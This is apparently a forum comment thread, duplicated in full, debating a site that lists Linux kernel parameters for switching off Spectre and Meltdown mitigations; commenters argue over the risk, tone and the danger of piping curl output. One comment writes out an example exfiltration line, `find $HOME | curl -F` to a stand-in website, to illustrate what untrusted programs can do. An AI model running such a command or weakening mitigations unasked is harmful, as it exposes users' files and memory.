6 ms·

Yes, that's the point of this site - if your workflow is hurt by the perf impact of mitigations and SPECTRE & friends are not a credible attack, for instance be

Yes, that's the point of this site - if your workflow is hurt by the perf impact of mitigations and SPECTRE & friends are not a credible attack, for instance because you disable JS by default, then you can just curl and pipe this to your kernel parameters

miles 7y ago
> Yes, that's the point of this site Sorry - was just providing a bit more information for those of us who didn't immediately grok the point of a site which is literally just: noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off
- jcelerier 7y ago
  hm, I'm not a native english speaker - was my tone incorrect ? was just trying to add more context
  - deleted 7y ago
    [deleted]
  - jshevek 7y ago
    I thought your tone was fine, but the phrase "Yes, that's the point..." can sometimes (not always) be associated with a condescending, sometimes even impatient, tone. It's not intrinsic to the phrase, it depends on what the reader may associate with the phrase. (I'm also not saying this actually happened in this case, I'm just speaking generally.)
    - therealcamino 7y ago
      Agreed, and the part that may be difficult for a non-native speaker to get is what other words would give the same meaning but seem less confrontational: e.g. "Yes, that's the intent..." conveys the same meaning but with a milder tone. I think with "point" there's the suggestion of "You missed the point," which is an insult.
  - MaulingMonkey 7y ago
    I think you're fine! But just to try and deconstruct... similar phrasing: > Yes... that's the entire point of xyz -_-; ...is semi-frequently used to imply "what you said is obvious" with a sort of... dismissive undertone, which might've been what miles was reacting to. Breaking the phrase up a bit more and making it a bit more casual/chipper somehow feels harder to misinterpret this way? Even without resorting to emoji as I have here: > Yep! That's the point of xyz :) But I could see myself using your phrasing as a native speaker, so I wouldn't worry about it too much ¯\_(ツ)_/¯
saagarjha 7y ago
> just curl and pipe this to your kernel parameters ;)
- jcelerier 7y ago
  well, you're already trusting random magic incantations found on internet so...
  - holstvoogd 7y ago
    That reminds me of this talk: https://www.youtube.com/watch?v=lKXe3HUG2l4 https://www.youtube.com/watch?v=lKXe3HUG2l4
danShumway 7y ago
To be clear, SPECTRE leaks privileged memory at an OS-level -- up to in some cases allowing arbitrary virtual memory reads. While Javascript is the most likely attack vector for most people, you should not use this command on a system that's running untrusted code from anywhere in any context, and you should consider moving sensitive information like passwords off of the computer. I use uMatrix to disable Javascript by default on every site I visit, and I still would not feel safe running this command on anything other than a single-purpose device. That's not to say that there would never be a good reason to run it. A very imprecise, easy test I would propose is, "is your Linux system vetted enough or just unimportant enough that you would feel comfortable getting rid of users and running all of your software as root?" In which case, SPECTRE & friends is probably not a credible threat to you on that machine.
- jcelerier 7y ago
  > you should not use this command on a system that's running untrusted code from anywhere in any context I don't really understand this point. Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not). Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.
  - danShumway 7y ago
    > Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root? I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but... I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.
lucideer 7y ago
> SPECTRE & friends are not a credible attack, for instance because you disable JS by default That's... an extremely optimistic perspective on what's running on your system. Disabling JS in browser tab contexts (even if it's universal and not just "by default") is going to cover a pretty small percentage of SPECTRE et al. vectors.
- yjftsjthsd-h 7y ago
  What other vectors are there? Assuming that I trust my local software (because if I don't then spectre is the least of my problems).
exikyut 7y ago
> curl and pipe this to your kernel parameters What an incredibly convenient idea that is! ..... AAAAAAAaaaaaaaa [screams in infosec]
- aneesh297 7y ago
  Can you explain why this is dangerous? Is it because there could be executable code in what's returned?
  - petronio 7y ago
    Yes, and since it's just a URL even if you perform an audit it could have malicious code injected at any time in the future without your knowledge.

miles 7y ago

> Yes, that's the point of this site Sorry - was just providing a bit more information for those of us who didn't immediately grok the point of a site which is literally just: noibrs noibpb nopti nospectre_v2 nospectre_v1 l1tf=off nospec_store_bypass_disable no_stf_barrier mds=off tsx=on tsx_async_abort=off mitigations=off

jcelerier 7y ago
hm, I'm not a native english speaker - was my tone incorrect ? was just trying to add more context
- deleted 7y ago
  [deleted]
- jshevek 7y ago
  I thought your tone was fine, but the phrase "Yes, that's the point..." can sometimes (not always) be associated with a condescending, sometimes even impatient, tone. It's not intrinsic to the phrase, it depends on what the reader may associate with the phrase. (I'm also not saying this actually happened in this case, I'm just speaking generally.)
  - therealcamino 7y ago
    Agreed, and the part that may be difficult for a non-native speaker to get is what other words would give the same meaning but seem less confrontational: e.g. "Yes, that's the intent..." conveys the same meaning but with a milder tone. I think with "point" there's the suggestion of "You missed the point," which is an insult.
- MaulingMonkey 7y ago
  I think you're fine! But just to try and deconstruct... similar phrasing: > Yes... that's the entire point of xyz -_-; ...is semi-frequently used to imply "what you said is obvious" with a sort of... dismissive undertone, which might've been what miles was reacting to. Breaking the phrase up a bit more and making it a bit more casual/chipper somehow feels harder to misinterpret this way? Even without resorting to emoji as I have here: > Yep! That's the point of xyz :) But I could see myself using your phrasing as a native speaker, so I wouldn't worry about it too much ¯\_(ツ)_/¯

saagarjha 7y ago

> just curl and pipe this to your kernel parameters ;)

jcelerier 7y ago
well, you're already trusting random magic incantations found on internet so...
- holstvoogd 7y ago
  That reminds me of this talk: https://www.youtube.com/watch?v=lKXe3HUG2l4 https://www.youtube.com/watch?v=lKXe3HUG2l4

danShumway 7y ago

To be clear, SPECTRE leaks privileged memory at an OS-level -- up to in some cases allowing arbitrary virtual memory reads. While Javascript is the most likely attack vector for most people, you should not use this command on a system that's running untrusted code from anywhere in any context, and you should consider moving sensitive information like passwords off of the computer. I use uMatrix to disable Javascript by default on every site I visit, and I still would not feel safe running this command on anything other than a single-purpose device. That's not to say that there would never be a good reason to run it. A very imprecise, easy test I would propose is, "is your Linux system vetted enough or just unimportant enough that you would feel comfortable getting rid of users and running all of your software as root?" In which case, SPECTRE & friends is probably not a credible threat to you on that machine.

jcelerier 7y ago
> you should not use this command on a system that's running untrusted code from anywhere in any context I don't really understand this point. Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user with a script that'd involve `ps -u` and `/proc/yourpid/maps`, mitigations or not, unless you use something like QubesOS (but most people do not). Leaking bits with spectre would be a super long process versus... just doing that if you could already get the user to download your code.
- danShumway 7y ago
  > Any program you download from the internet, say, VLC or Kodi or a game emulator or whatever, can already do `find $HOME | curl -F my.totally-legitimate.website` and read the memory of all the processes of your user There are variants of Spectre and Meltdown that expose kernel memory. If you're really in a position where you don't think that makes a difference, then why are you messing around with user accounts in the first place? Why aren't you running all your software as root? I'm not going to argue Linux sandboxing is awesome -- it's very clearly not. But user permissions are big part of what security we do have. Spectre/Meltdown also limit the effectiveness of the newer sandboxing features we're getting from packaging systems like Flatpack. Maybe you're not running any of that stuff on your system, but... I'm seeing a lot of people here being kind of blasé about the potential risks, arguing that they only need to protect themselves from websites, and I am skeptical that all of those people actually understand the full extent of these vulnerabilities.

lucideer 7y ago

> SPECTRE & friends are not a credible attack, for instance because you disable JS by default That's... an extremely optimistic perspective on what's running on your system. Disabling JS in browser tab contexts (even if it's universal and not just "by default") is going to cover a pretty small percentage of SPECTRE et al. vectors.

yjftsjthsd-h 7y ago
What other vectors are there? Assuming that I trust my local software (because if I don't then spectre is the least of my problems).

exikyut 7y ago

> curl and pipe this to your kernel parameters What an incredibly convenient idea that is! ..... AAAAAAAaaaaaaaa [screams in infosec]

aneesh297 7y ago
Can you explain why this is dangerous? Is it because there could be executable code in what's returned?
- petronio 7y ago
  Yes, and since it's just a URL even if you perform an audit it could have malicious code injected at any time in the future without your knowledge.